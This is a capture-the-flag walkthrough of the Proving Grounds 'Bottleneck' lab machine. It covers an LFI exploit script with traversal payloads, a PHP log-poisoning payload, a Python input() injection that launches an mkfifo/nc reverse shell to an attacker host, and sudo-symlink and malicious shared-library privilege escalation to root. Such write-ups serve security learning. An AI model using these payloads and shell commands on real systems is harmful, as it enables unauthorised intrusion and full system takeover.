Hi, this is quite a fun box for me and was rated as intermediate in Proving Grounds, without further ado, let’s get started. Enjoy !
Network Enumeration
nmap -sCV -oA nmap/bottleneck 192.168.178.22
I filtered out the recommend exploit section to make it short :
# Nmap 7.91 scan initiated Mon May 10 07:26:35 2021 as: nmap -sCV -oA nmap/bottleneck 192.168.178.22
Nmap scan report for 192.168.178.22
Host is up (0.33s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-title: BOTTLENECK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 10 07:27:47 2021 -- 1 IP address (1 host up) scanned in 72.02 seconds
Seems port 80 is open, let’s take a look :
Exploitation
I go through the page source but didn’t found any interesting. Hence i use ffuf
with wordlistbig.txt
and extension .php
to find hidden directory/files.
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.178.22/FUZZ -e .php
I found a file called image_gallery.php
image_gallery.php [Status: 200, Size: 6381, Words: 1626, Lines: 169]
At first i thought that this page doesn’t vulnerable. But by looking at the Network
section, i found out every time i refresh the page, there will be a GET request going out with parameter t
and f
.
We can guess that parameter f
stands for file
. i try decode it using base64 and got the result:
$ echo "Ym90dGxlbmVja19kb250YmUucG5n" | base64 -d
$ bottleneck_dontbe.png
Yes, we are correct, i even found this file was in directory img
So i tried encoded base64 classic LFI payloads to grab /etc/passwd
but failed. It return a 200 status code but with blank page.
After hours of searching, figured out that paramter t
stands for timestamp and it was Unix time.
And soon i figured out that we need provide an exact timestamp as in machine in order to grab files. So i started to write a Python script to automate this.
First to figure out the exact timestamp on machine. We need to know the timestamp on our machine :
$ date --help | grep %s
%s seconds since 1970-01-01 00:00:00 UTC
$ date +%s
1621098286
And i minus the timestamp on parameter t
with our machine timestamp :
Because of few seconds goes by while i copy pasting, ill use 28800
to evaluate in my case.
Below was the Python script :
#!/usr/bin/env python3
import requests
import base64
import os
ip = "192.168.178.22"
url = f"http://{ip}/image_gallery.php"
with open('payload.txt') as file:
for payload in file:
# Find difference of timestamp
s = os.popen("date +%s")
t = int(s.read())-28800
# Base64 encoding for payload
word = payload.strip('\r').strip('\n')
encode_payload_bytes = base64.b64encode(word.encode('utf-8'))
encode_payload = encode_payload_bytes.decode('utf-8')
print(f"Payload: {word}\nEncoded Payload: {encode_payload}\nt: {str(t)}")
try:
params = {'t':str(t),'f':encode_payload}
r = requests.get(url,params=params)
print("-----------Response Begin-----------")
response = r.text
if not response:
print("No Response")
else:
print(response)
print("-----------Response End-----------")
except Exception as e:
print(e)
The content ofpayload.txt
i used :
../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd
By running the Python script, i got the output :
$ python3 script.py
Payload: ../../../../etc/passwd
Encoded Payload: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
t: 1621070425
-----------Response Begin-----------
Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastruct
ructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?
<pre>
_,..._
/__ \
\>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
-----------Response End----------
Seems like there are something blocking us, probably WAF. But what if we grab image_gallery.php
source code instead of /etc/passwd
?
So i changed the content of payload.txt
to :
../../../image_gallery.php
../../image_gallery.php
../image_gallery.php
Run this script again and BOOM, we got it :
Payload: ../image_gallery.php
Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeS5waHA=
t: 1621070808
-----------Response Begin-----------
<?php
/*
CHANGELOG
v1.1: Still testing without content.
I've fixed that problem that @p4w and @ska notified me after hacker attack.
Shit I'm too lazy to make a big review of my code.
I think that the LFI problem can be mitigated with the blacklist.
By the way to protect me from attackers, all malicious requests are immediately sent to the SOC
v1.0: Starting this beautiful gallery
*/
$tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
include_once 'image_gallery_load.php';
exit();
}
?>
The reason why payload ../image_gallery.php
worked because in early the bottleneck_dontbe.png
was in img
directory which means we need to step up a directory to grab image_gallery.php
.
With the output we got, we noticed the existence of image_gallery_load.php
, so let's grab it !
GOT IT !
Payload: ../image_gallery_load.php
Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeV9sb2FkLnBocA==
t: 1621071110
-----------Response Begin-----------
<?php
function print_troll(){
$messages = $GLOBALS['messages'];
$troll = $GLOBALS['troll'];
echo $messages[0];
echo $troll;
}
$troll = <<<EOT
<pre>
_,..._
/__ \
>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
EOT;
if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
}
$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");
if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../');
?>
-----------Response End-----------
In this output of image_gallery_load.php
, we can see its blocking few directories :
array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
And that’s the reason why /etc/passwd
wont work.
We can see if it detected directories in the blacklist, it will block it and end up doing this command:
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
The above python command will output to /tmp/output
. I try again changing content of payload.txt
to grab for /tmp/output
but failed. There are few reasons why it failed :
- Timestamp not correct
- Empty file
- Something in the machine keep erase the content of
/tmp/output
I read the code again and noticed that reason 2 was the reason it failed because :
- Our timestamp should be correct (Since its automated).
- Reason 3 should be unlikely because its quite nonsense.
So why /tmp/output
was empty? The reason was the exec
function work when they detected blacklisted directories. Maybe the machine haven't detect any blacklisted directories or error so the /tmp/output
was empty, maybe?
Let’s try it by changing the content of payload.txt
again :
I also add a log poisoning PHP payload to see what happen.
../etc/passwd
../etc/passwd'<?php system($_GET['cmd'])?>
../../../../../tmp/output
../../../../tmp/output
../../../tmp/output
../../tmp/output
../tmp/output
I got an error output :
Payload: ../etc/passwd'<?php system($_GET['cmd'])?>
Encoded Payload: Li4vZXRjL3Bhc3N3ZCc8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+
t: 1621079901
-----------Response Begin-----------
Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastruct
ructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?
<pre>
_,..._
/__ \
\>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
-----------Response End-----------
Payload: ../../../../../../tmp/output
Encoded Payload: Li4vLi4vLi4vLi4vLi4vLi4vdG1wL291dHB1dA==
t: 1621079902
-----------Response Begin-----------
report: Traceback (most recent call last):
File "/opt/ids_strong_bvb.py", line 7, in <module>
data = str(input('report: '))
File "<string>", line 1
'../etc/passwd'<?php system($_GET['cmd'])?>'
^
SyntaxError: invalid syntax
-----------Response End-----------
As you can see, the python source code was data = str(input('report: '))
and /tmp/output
seems used to output the error.
I searched the web about python input exploit and found an interesting page. So i modify the content of payload.txt
:
../etc/passwd
../etc/passwd' and __import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.178 8888 >/tmp/f") and '
../../../../../tmp/output
../../../../tmp/output
../../../tmp/output
../../tmp/output
../tmp/output
I setup a netcat listener on port 8888 and run the script :
BOOM ! i got the shell !
PRIVILEGE ESCALATION
With command sudo -l
, we found interesting command :
www-data@bottleneck:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on bottleneck:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin
User www-data may run the following commands on bottleneck:
(bytevsbyte) NOPASSWD: /var/www/html/web_utils/clear_logs
In /var/www/html/web_utils/
, a file called clear_logs
has symlink to /opt/clear_logs.sh
, but /opt/clear_logs.sh
was owned by bytevsbyte
and we don't have permission to edit the file :
www-data@bottleneck:~/html/web_utils$ ls -al
ls -al
total 8
drwxrwxr-x 2 www-data www-data 4096 Mar 2 2020 .
drwxr-xr-x 7 root root 4096 Sep 26 2019 ..
lrwxrwxrwx 1 root root 18 Mar 2 2020 clear_logs -> /opt/clear_logs.s
h
www-data@bottleneck:~/html/web_utils$ ls -al /opt/clear_logs.sh
ls -al /opt/clear_logs.sh
-rwxr--r-- 1 bytevsbyte bytevsbyte 43 Sep 27 2019 /opt/clear_logs.sh
www-data@bottleneck:~/html/web_utils$
Since we have the permission to edit clear_logs
, let's change its symlink with command :
ln -fns /tmp/clear_logsc /var/www/html/web_utils/clear_logs
Edit the /tmp/clear_logsc
:
echo -e '#!/bin/bash\n/bin/bash' > /tmp/clear_logsc
Set the permission to execute /tmp/clear_logsc
:
chmod 777 /tmp/clear_logsc
Run the command and we will get bytevsbyte
user :
sudo -u bytevsbyte /var/www/html/web_utils/clear_logs
PRIVILEGE ESCALATION (TO ROOT)
We are now bytevsbyte
, let's find file with SUID on it :
find / -perm -u=s -type f 2>/dev/null
We spotted an interesting file :
/usr/test/testlib
bytevsbyte@bottleneck:~/html/web_utils$ cat /usr/test/testlib.c
cat /usr/test/testlib.c
#include <dlfcn.h>
#include <unistd.h>
int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}
bytevsbyte@bottleneck:~/html/web_utils$
I’m not familiar with C code. i think it accept an argument (probably a file) and execute the argument file’s function test_this
. Please let me know if my explanation got anything wrong. I'm still learning.
First at our main local machine, we create a C file called test_this.c
with the following code :
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void test_this()
{
setuid(0); setgid(0); system("/bin/sh");
}
Then we run this command :
gcc -fPIC -shared test_this.c -o test_this.so
In our main local machine :
python3 -m http.server 8099
In Bottleneck machine :
$ wget http://<ip>:8099/test_this.so
$ mv test_this.so /tmp/
$ chmod 777 /tmp/test_this.so
$ /usr/test/testlib /tmp/test_this.so
And we will get ROOT access !
Thank you so much for reading this ! Hope you enjoy a lot and see you again until next time !